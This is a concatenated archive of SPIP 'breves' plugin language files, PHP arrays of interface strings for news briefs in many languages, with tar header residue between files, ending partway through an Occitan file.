// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Ştiri',
// E
'entree_breve_publiee' => 'Această ştire trebuie publicată?', # MODIF
'entree_texte_breve' => 'Textul ştirii',
// I
'icone_breves' => 'Ştiri',
'icone_ecrire_nouvel_article' => 'Ştiri conţinute în această rubrică',
'icone_modifier_breve' => 'Modificaţi această ştire',
'icone_nouvelle_breve' => 'Scrieţi o nouă ştire',
'info_1_breve' => '1 ştire',
'info_breves' => 'Site-ul dumneavoastră utilizează sistemul de ştiri?',
'info_breves_02' => 'Ştiri',
'info_breves_valider' => 'Ştiri de validat',
'info_gauche_numero_breve' => 'ŞTIREA NUMĂRUL', # MODIF
'item_breve_proposee' => 'Ştire propusă', # MODIF
'item_breve_refusee' => 'NU - Ştire refuzată', # MODIF
'item_breve_validee' => 'DA - Ştire aprobată', # MODIF
'item_non_utiliser_breves' => 'Nu folosiţi ştirile',
'item_utiliser_breves' => 'Folosiţi ştirile',
// L
'logo_breve' => 'VINIETA ŞTIRII', # MODIF
// T
'texte_breves' => 'Ştirile sunt texte scurte şi simple, permiţând publicarea rapidă de informaţii concise, menţinerea unei reviste a presei, o agenda ...',
'titre_breve_proposee' => 'Ştire propusă',
'titre_breve_publiee' => 'Ştire publicată',
'titre_breve_refusee' => 'Ştire refuzată',
'titre_breves' => 'Ştirile',
'titre_langue_breve' => 'LIMBA ŞTIRII', # MODIF
'titre_page_breves' => 'Ştiri'
);
?>
breves_fr.php 0000666 00000003330 15252255245 0007244 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/breves/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève',
'breves' => 'Brèves',
// E
'entree_breve_publiee' => 'Cette brève est :',
'entree_texte_breve' => 'Texte de la brève',
// I
'icone_breves' => 'Brèves',
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique',
'icone_modifier_breve' => 'Modifier cette brève',
'icone_nouvelle_breve' => 'Écrire une nouvelle brève',
'info_1_breve' => '1 brève',
'info_aucun_breve' => 'Aucune brève',
'info_breves' => 'Votre site utilise-t-il le système de brèves ?',
'info_breves_02' => 'Brèves',
'info_breves_valider' => 'Brèves à valider',
'info_gauche_numero_breve' => 'Brève numéro',
'info_nb_breves' => '@nb@ brèves',
'item_breve_proposee' => 'proposée à l’évaluation',
'item_breve_refusee' => 'refusée',
'item_breve_validee' => 'validée',
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves',
'item_utiliser_breves' => 'Utiliser les brèves',
// L
'logo_breve' => 'Logo de la brève',
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de mettre en ligne rapidement des informations concises, de gérer une revue de presse, un calendrier d’événements...',
'titre_breve_proposee' => 'Brève proposée',
'titre_breve_publiee' => 'Brève publiée',
'titre_breve_refusee' => 'Brève refusée',
'titre_breves' => 'Les brèves',
'titre_langue_breve' => 'Langue de la brève',
'titre_nouvelle_breve' => 'Nouvelle brève',
'titre_page_breves' => 'Brèves'
);
?>
paquet-breves_lb.php 0000666 00000000703 15252255245 0010530 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Kuerzmeldunge si kléng Informatiounen ouni Auteur.',
'breves_slogan' => 'Gestioun vun de Kuerzmeldungen am SPIP'
);
?>
paquet-breves_ru.php 0000666 00000000761 15252255245 0010565 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Новость - это краткая статья без указания автора.',
'breves_slogan' => 'Настройки ленты новостей'
);
?>
breves_oc_ni_la.php 0000666 00000003251 15252255245 0010402 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva la cau publicar?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Li brèvas contengudi dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una brèva nòva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Lo vòstre sit utiliza lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NÚMERO', # MODIF
'item_breve_proposee' => 'Brèva prepauada', # MODIF
'item_breve_refusee' => 'NON - Brèva refusada', # MODIF
'item_breve_validee' => 'AÍ- Brèva validada', # MODIF
'item_non_utiliser_breves' => 'Non utilizar li brèvas',
'item_utiliser_breves' => 'Utilizar li brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Li brèvas son de tèxts corts e simples que permeton de metre en linha lèu d’informacions concisi, de gerir
una revista de premsa, un calendier d’eveniments...',
'titre_breve_proposee' => 'Brèva prepauada',
'titre_breve_publiee' => 'Brèva publicada',
'titre_breve_refusee' => 'Brèva refusada',
'titre_breves' => 'Li brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
paquet-breves_pt_br.php 0000666 00000000671 15252255245 0011245 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'As notas são informações curtas, sem autor.',
'breves_slogan' => 'Gerenciamento de notas no SPIP'
);
?>
breves_br.php 0000666 00000003320 15252255245 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Berrskridoù',
// E
'entree_breve_publiee' => 'Ha ret eo embann ar berrskrid-mañ ?', # MODIF
'entree_texte_breve' => 'Testenn ar berrskrid',
// I
'icone_breves' => 'Berrskridoù',
'icone_ecrire_nouvel_article' => 'Ar berrskridoù er rubrikenn-mañ',
'icone_modifier_breve' => 'Kemmañ ar berrskrid-mañ',
'icone_nouvelle_breve' => 'Skrivañ ur berrskrid nevez',
'info_1_breve' => '1 berrskrid',
'info_breves' => 'Hag implijout a ra ho lec’hienn ar reizhiad berrskridoù ?',
'info_breves_02' => 'Berrskridoù',
'info_breves_valider' => 'Berrskridoù da gadarnaat',
'info_gauche_numero_breve' => 'BERRSKRID NIVERENN', # MODIF
'item_breve_proposee' => 'Berrskrid bet kinniget', # MODIF
'item_breve_validee' => 'YA - Berrskrid asantet', # MODIF
'item_non_utiliser_breves' => 'Na implijout ar berrskridoù',
'item_utiliser_breves' => 'Implijout ar berrskridoù',
// L
'logo_breve' => 'LOGO AR BERRSKRID', # MODIF
// T
'texte_breves' => 'Skridoù berr ha simpl eo ar berrskridoù. Drezo e c’haller lakaat enlinenn fonnus-tre keleier berr-ha-berr, merañ ur strobad pennadoù, un deiziataer darvoudoù, hag all.',
'titre_breve_proposee' => 'Berrskrid bet kinniget',
'titre_breve_publiee' => 'Berrskrid bet embannet',
'titre_breve_refusee' => 'Berrskrid bet nac’het',
'titre_breves' => 'Ar berrskridoù',
'titre_langue_breve' => 'YEZH AR BERRSKRID', # MODIF
'titre_page_breves' => 'Berrskridoù'
);
?>
breves_fi.php 0000666 00000001603 15252255245 0007234 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=fi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Uutisia',
// E
'entree_breve_publiee' => 'Tulisiko tämä uutisotsikko julkaista?', # MODIF
'entree_texte_breve' => 'Uutisotsikon teksti',
// I
'icone_breves' => 'Uuutisia',
'icone_ecrire_nouvel_article' => 'Uutisia tässä lohkossa',
'info_1_breve' => '1 uutisotsikko',
'info_breves' => 'Käyttääkö sivustosi uutisjärjestelmää?',
'info_breves_02' => 'Uutisia',
'info_breves_valider' => 'Hyväksyttäviä uutisotsikoita',
'item_utiliser_breves' => 'Käytä uutisia',
// T
'titre_langue_breve' => 'UUTISOTSIKON KIELI', # MODIF
'titre_page_breves' => 'Uutisia'
);
?>
breves_hac.php 0000666 00000004037 15252255245 0007375 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=hac
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'هەۋاڵ',
'breves' => 'هەۋاڵی',
// E
'entree_breve_publiee' => ': ئی هەۋاڵە',
'entree_texte_breve' => 'دەقو هەۋاڵی',
// I
'icone_breves' => 'هەۋاڵ',
'icone_ecrire_nouvel_article' => 'هەۋاڵ چی بەشەنە',
'icone_modifier_breve' => 'ئی هەۋاڵەیە پاکنـۋیس کەرە',
'icone_nouvelle_breve' => 'هەۋاڵیـۋ بنـۋیسە',
'info_1_breve' => '1 هەۋاڵ',
'info_aucun_breve' => 'هیچ هەۋاڵیـۋ نییا',
'info_breves' => 'ئایا لاپەڕەکەت هەۋاڵی ۋەڵاکەروۋە؟',
'info_breves_02' => 'هەۋاڵی',
'info_breves_valider' => 'هەۋاڵی چە سەرەو پەسینایەنە',
'info_gauche_numero_breve' => 'ژمارەو هەۋاڵەکا',
'info_nb_breves' => '@nb@ هەواڵ',
'item_breve_proposee' => 'پیشنیارکریێ',
'item_breve_refusee' => 'ڕەتکریان',
'item_breve_validee' => 'پەسینیان',
'item_non_utiliser_breves' => 'هەۋاڵ بەکار مەبەرە',
'item_utiliser_breves' => 'هەۋاڵ بەکاربەرە',
// L
'logo_breve' => 'سیمبولو هەۋاڵی',
// T
'texte_breves' => 'هەۋاڵی کوڵە پەیامینی کە بوار ۋڵاکەردەی هەۋاڵە خیرایا ، ڕیکـۋستەی نیشاندای جاپەمەنی و خشتەکی کاتیی و ... هیتد مـﮆا
',
'titre_breve_proposee' => 'هەۋاڵی پیشنیارکریێ',
'titre_breve_publiee' => 'کورته وتاری ڤهڵاکریێ',
'titre_breve_refusee' => 'کورته وتاری پهسهند نهکریێ',
'titre_breves' => 'هەۋاڵ',
'titre_langue_breve' => 'زۋانو هەۋاڵی',
'titre_nouvelle_breve' => 'هەۋاڵی تازە',
'titre_page_breves' => 'هەۋاڵ'
);
?>
breves_oc_ni.php 0000666 00000003257 15252255245 0007734 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva deu èstre publicada ?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Li brèvas contengudi dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una novèla brèva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Lo voastre sit utilisa lo sistema de brèvas ?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NÚMERO', # MODIF
'item_breve_proposee' => 'Brèva prepauada', # MODIF
'item_breve_refusee' => 'NON - Brèva refusada', # MODIF
'item_breve_validee' => 'AÏ- Brèva validada', # MODIF
'item_non_utiliser_breves' => 'Utilisar pas li brèvas',
'item_utiliser_breves' => 'Utilisar li brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Li brèvas son de tèxtes corts e simples que permeton de metre en linha lèu d’informacions concisi, de gerar
una revista de premsa, un calendier d’aveniments...',
'titre_breve_proposee' => 'Breva prepauada',
'titre_breve_publiee' => 'Breva publicada',
'titre_breve_refusee' => 'Brèva refudada',
'titre_breves' => 'Li brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
breves_pl.php 0000666 00000003135 15252255245 0007253 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Aktualności',
// E
'entree_breve_publiee' => 'Czy ten news ma zostać opublikowany?', # MODIF
'entree_texte_breve' => 'Tekst newsa',
// I
'icone_breves' => 'Newsy',
'icone_ecrire_nouvel_article' => 'Newsy w tym dziale',
'icone_modifier_breve' => 'Zmień ten news',
'icone_nouvelle_breve' => 'Napisz nowy news',
'info_1_breve' => '1 news',
'info_breves' => 'Czy na Twojej stronie działa system newsów?',
'info_breves_02' => 'Newsy',
'info_breves_valider' => 'Newsy do zatwierdzenia',
'info_gauche_numero_breve' => 'NEWS NUMER', # MODIF
'item_breve_proposee' => 'Zaproponowany news', # MODIF
'item_breve_refusee' => 'NIE - news odrzucony', # MODIF
'item_breve_validee' => 'TAK - news zatwierdzony', # MODIF
'item_non_utiliser_breves' => 'Nie używaj newsów',
'item_utiliser_breves' => 'Używaj newsów',
// L
'logo_breve' => 'LOGO NEWSA', # MODIF
// T
'texte_breves' => 'Newsy są krótkimi tekstami, które pozwalają
szybko umieścić na stronie zwięzłe informacje i zarządzać
przeglądem prasy, albo kalendarzem wydarzeń...',
'titre_breve_proposee' => 'News zatwierdzony',
'titre_breve_publiee' => 'News opublikowany',
'titre_breve_refusee' => 'News odrzucony',
'titre_breves' => 'Newsy',
'titre_langue_breve' => 'JĘZYK NEWSA', # MODIF
'titre_page_breves' => 'Newsy'
);
?>
paquet-breves_de.php 0000666 00000000715 15252255245 0010526 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Meldungen sind kurze Informationen, deren Autor nicht gespeichert wird.',
'breves_slogan' => 'Meldungen in SPIP verwalten'
);
?>
breves_zh.php 0000666 00000002764 15252255245 0007270 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => '简要',
// E
'entree_breve_publiee' => '该新闻要被发表?', # MODIF
'entree_texte_breve' => '简要内容',
// I
'icone_breves' => '简要',
'icone_ecrire_nouvel_article' => '该专栏中的内容提要',
'icone_modifier_breve' => '修改简要',
'icone_nouvelle_breve' => '写新简要',
'info_1_breve' => '1则简要',
'info_breves' => '您的站点使用了新闻简要系统,吗?',
'info_breves_02' => '简要',
'info_breves_valider' => '需确认的简要',
'info_gauche_numero_breve' => '新闻号', # MODIF
'item_breve_proposee' => '新闻提交', # MODIF
'item_breve_refusee' => '不 - 丢弃新闻', # MODIF
'item_breve_validee' => '是 - 确认新闻', # MODIF
'item_non_utiliser_breves' => '不使用新闻',
'item_utiliser_breves' => '使用新闻',
// L
'logo_breve' => '新闻图标', # MODIF
// T
'texte_breves' => '新闻是简短文字允许在线出版简明的信息
, 管理新闻回顾
,日历事件...',
'titre_breve_proposee' => '提交的新闻',
'titre_breve_publiee' => '发表的新闻',
'titre_breve_refusee' => '丢弃的新闻',
'titre_breves' => '新闻',
'titre_langue_breve' => '新闻语言', # MODIF
'titre_page_breves' => '新闻'
);
?>
breves_cs.php 0000666 00000003114 15252255245 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Novinky',
// E
'entree_breve_publiee' => 'Má být tato novinka publikována?', # MODIF
'entree_texte_breve' => 'Text novinky',
// I
'icone_breves' => 'Novinky',
'icone_ecrire_nouvel_article' => 'Novinky v této sekci',
'icone_modifier_breve' => 'Změnit novinku',
'icone_nouvelle_breve' => 'Napsat novinku',
'info_1_breve' => '1 novinka',
'info_breves' => 'Používá váš web novinky?',
'info_breves_02' => 'Novinky',
'info_breves_valider' => 'Novinky ke schválení',
'info_gauche_numero_breve' => 'ČÍSLO NOVINKY', # MODIF
'item_breve_proposee' => 'Předložené novinky', # MODIF
'item_breve_refusee' => 'Odmítnutá novinka', # MODIF
'item_breve_validee' => 'Schválená novinka', # MODIF
'item_non_utiliser_breves' => 'Nepoužívat novinky',
'item_utiliser_breves' => 'Používat novinky',
// L
'logo_breve' => 'LOGO NOVINKY', # MODIF
// T
'texte_breves' => 'Novinky jsou krátké texty umožňující rychle zveřejňovat
stručné informace, redigovat přehled tisku, přehled událostí...',
'titre_breve_proposee' => 'Předložená novinka',
'titre_breve_publiee' => 'Novinka zveřejněna',
'titre_breve_refusee' => 'Novinka zamítnuta',
'titre_breves' => 'Novinky',
'titre_langue_breve' => 'JAZYK NOVINKY', # MODIF
'titre_page_breves' => 'Novinky'
);
?>
breves_oc_lms.php 0000666 00000003227 15252255245 0010116 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brevas',
// E
'entree_breve_publiee' => 'Quela breva la chau publicar?', # MODIF
'entree_texte_breve' => 'Text de la breva',
// I
'icone_breves' => 'Brevas',
'icone_ecrire_nouvel_article' => 'Las brevas contengudas dins quela rubrica',
'icone_modifier_breve' => 'Modificar quela breva',
'icone_nouvelle_breve' => 'Escriure una breva nuòva',
'info_1_breve' => '1 breva',
'info_breves' => 'Vòstre sit utiliza lo sistema de brevas?',
'info_breves_02' => 'Brevas',
'info_breves_valider' => 'Brevas de validar',
'info_gauche_numero_breve' => 'BREVA NUMERO', # MODIF
'item_breve_proposee' => 'Breva prepausada', # MODIF
'item_breve_refusee' => 'NON - Breva refusada', # MODIF
'item_breve_validee' => 'ÒC - Breva validada', # MODIF
'item_non_utiliser_breves' => 'Pas utilizar las brevas',
'item_utiliser_breves' => 'Utilizar las brevas',
// L
'logo_breve' => 'LÒGO DE LA BREVA', # MODIF
// T
'texte_breves' => 'Las brevas son daus texts corts e simples que permeten de metre en linha regde de las informacions concisas, de gerir
una revista de premsa, un chalendier d’eveniments...',
'titre_breve_proposee' => 'Breva prepausada',
'titre_breve_publiee' => 'Breva publicada',
'titre_breve_refusee' => 'Breva refusada',
'titre_breves' => 'Las brevas',
'titre_langue_breve' => 'LENGA DE LA BREVA', # MODIF
'titre_page_breves' => 'Brevas'
);
?>
breves_oc_va.php 0000666 00000003251 15252255245 0007726 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva la chal publicar?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Las brèvas contenguas dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una brèva nòva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Vòstre sit utiliza lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NUMÈRO', # MODIF
'item_breve_proposee' => 'Brèva prepausaa', # MODIF
'item_breve_refusee' => 'NON - Brèva refusaa', # MODIF
'item_breve_validee' => 'ÒC - Brèva validaa', # MODIF
'item_non_utiliser_breves' => 'Pas utilizar las brèvas',
'item_utiliser_breves' => 'Utilizar las brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Las brèvas son de tèxtes corts e simples que permeton de metre en linha lèu d’informacions concisas, de gerir
una revista de premsa, un chalendier d’eveniments...',
'titre_breve_proposee' => 'Brèva prepausaa',
'titre_breve_publiee' => 'Brèva publicaa',
'titre_breve_refusee' => 'Brèva refusaa',
'titre_breves' => 'Las brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
breves_tl.php 0000666 00000003613 15252255245 0007260 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => 'Brèves', # NEW
// E
'entree_breve_publiee' => 'Cette brève est :', # NEW
'entree_texte_breve' => 'Texte de la brève', # NEW
// I
'icone_breves' => 'Brèves', # NEW
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique', # NEW
'icone_modifier_breve' => 'Modifier cette brève', # NEW
'icone_nouvelle_breve' => 'Écrire une nouvelle brève', # NEW
'info_1_breve' => '1 brève', # NEW
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => 'Votre site utilise-t-il le système de brèves ?', # NEW
'info_breves_02' => 'Brèves', # NEW
'info_breves_valider' => 'Brèves à valider', # NEW
'info_gauche_numero_breve' => 'Brève numéro', # NEW
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => 'proposée à l\'évaluation', # NEW
'item_breve_refusee' => 'refusée', # NEW
'item_breve_validee' => 'validée', # NEW
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves', # NEW
'item_utiliser_breves' => 'Utiliser les brèves', # NEW
// L
'logo_breve' => 'Logo de la brève', # NEW
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...', # NEW
'titre_breve_proposee' => 'Brève proposée', # NEW
'titre_breve_publiee' => 'Brève publiée', # NEW
'titre_breve_refusee' => 'Brève refusée', # NEW
'titre_breves' => 'Les brèves', # NEW
'titre_langue_breve' => 'Langue de la brève', # NEW
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => 'Brèves' # NEW
);
?>
breves_co.php 0000666 00000003333 15252255245 0007241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Dispacci',
// E
'entree_breve_publiee' => 'Deve esse pubblicatu stu dispacciu ?', # MODIF
'entree_texte_breve' => 'Testu di u dispacciu',
// I
'icone_breves' => 'Dispacci',
'icone_ecrire_nouvel_article' => 'I dispacci cuntenuti in a rùbbrica',
'icone_modifier_breve' => 'Mudificà u dispacciu',
'icone_nouvelle_breve' => 'Scrive un nuvellu dispacciu',
'info_1_breve' => '1 dispacciu',
'info_breves' => 'U vostru situ aduprerà u sistema di dispacci ?',
'info_breves_02' => 'Dispacci',
'info_breves_valider' => 'Dispacci da cunvalidà',
'info_gauche_numero_breve' => 'DISPACCIU NÙMERU', # MODIF
'item_breve_proposee' => 'Dispacciu prupostu', # MODIF
'item_breve_refusee' => 'INNO - Dispacciu rifiutatu', # MODIF
'item_breve_validee' => 'IÈ - Dispacciu cunvalidatu', # MODIF
'item_non_utiliser_breves' => 'Ùn aduprà micca i dispacci',
'item_utiliser_breves' => 'Aduprà i dispacci',
// L
'logo_breve' => 'LOGO DI U DISPACCIU', # MODIF
// T
'texte_breves' => 'I dispacci sò testi corti è sèmplici chì permettenu di mette in ligna nutizie assai in furia, è di gestisce una rivista di stampa,
un almanaccu d’evenimenti, ecc.',
'titre_breve_proposee' => 'Dispacciu prupostu',
'titre_breve_publiee' => 'Dispacciu pubblicatu',
'titre_breve_refusee' => 'Dispacciu rifiutatu',
'titre_breves' => 'I dispacci',
'titre_langue_breve' => 'LINGUA DI U DISPACCIU', # MODIF
'titre_page_breves' => 'Dispacci'
);
?>
breves_ca.php 0000666 00000003332 15252255245 0007222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Breu',
'breves' => 'Breus',
// E
'entree_breve_publiee' => 'Aquesta breu s’ha de publicar?', # MODIF
'entree_texte_breve' => 'Text de la breu',
// I
'icone_breves' => 'Breus',
'icone_ecrire_nouvel_article' => 'Les breus contingudes en aquesta secció',
'icone_modifier_breve' => 'Modificar aquesta breu',
'icone_nouvelle_breve' => 'Escriure una nova breu',
'info_1_breve' => '1 breu',
'info_aucun_breve' => 'Cap breu',
'info_breves' => 'El vostre lloc fa servir el sistema de breus?',
'info_breves_02' => 'Breus',
'info_breves_valider' => 'Breus per validar',
'info_gauche_numero_breve' => 'BREU NÚMERO', # MODIF
'info_nb_breves' => '@nb@ breus',
'item_breve_proposee' => 'Breu proposada', # MODIF
'item_breve_refusee' => 'NO - Breu rebutjada', # MODIF
'item_breve_validee' => 'SI - Breu validada', # MODIF
'item_non_utiliser_breves' => 'No utilitzar les breus',
'item_utiliser_breves' => 'Utilitzar les breus',
// L
'logo_breve' => 'LOGOTIP DE LA BREU', # MODIF
// T
'texte_breves' => 'Les breus son textes curts i simples que permeten posar ràpidament en línia informacions concises, gestionar una revista de premsa, un calendari d’esdeveniments...',
'titre_breve_proposee' => 'Breu proposada',
'titre_breve_publiee' => 'Breu publicada',
'titre_breve_refusee' => 'Breu refusada',
'titre_breves' => 'Les breus',
'titre_langue_breve' => 'LLENGUA DEL BREU', # MODIF
'titre_page_breves' => 'Breus'
);
?>
breves_oc_lnc.php 0000666 00000003257 15252255245 0010102 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèvas',
// E
'entree_breve_publiee' => 'Aquela brèva la cal publicar?', # MODIF
'entree_texte_breve' => 'Tèxt de la brèva',
// I
'icone_breves' => 'Brèvas',
'icone_ecrire_nouvel_article' => 'Las brèvas contengudas dins aquela rubrica',
'icone_modifier_breve' => 'Modificar aquela brèva',
'icone_nouvelle_breve' => 'Escriure una brèva nòva',
'info_1_breve' => '1 brèva',
'info_breves' => 'Vòstre sit utiliza lo sistèma de brèvas?',
'info_breves_02' => 'Brèvas',
'info_breves_valider' => 'Brèvas de validar',
'info_gauche_numero_breve' => 'BRÈVA NUMÈRO', # MODIF
'item_breve_proposee' => 'Brèva prepausada', # MODIF
'item_breve_refusee' => 'NON - Brèva refusada', # MODIF
'item_breve_validee' => 'ÒC- Brèva validada', # MODIF
'item_non_utiliser_breves' => 'Utilizar pas las brèvas',
'item_utiliser_breves' => 'Utilizar las brèvas',
// L
'logo_breve' => 'LÒGO DE LA BRÈVA', # MODIF
// T
'texte_breves' => 'Las brèvas son de tèxtes corts e simples que permeton de metre en linha lèu d’informacions concisas, de gerir
una revista de premsa, un calendièr d’eveniments...',
'titre_breve_proposee' => 'Brèva prepausada',
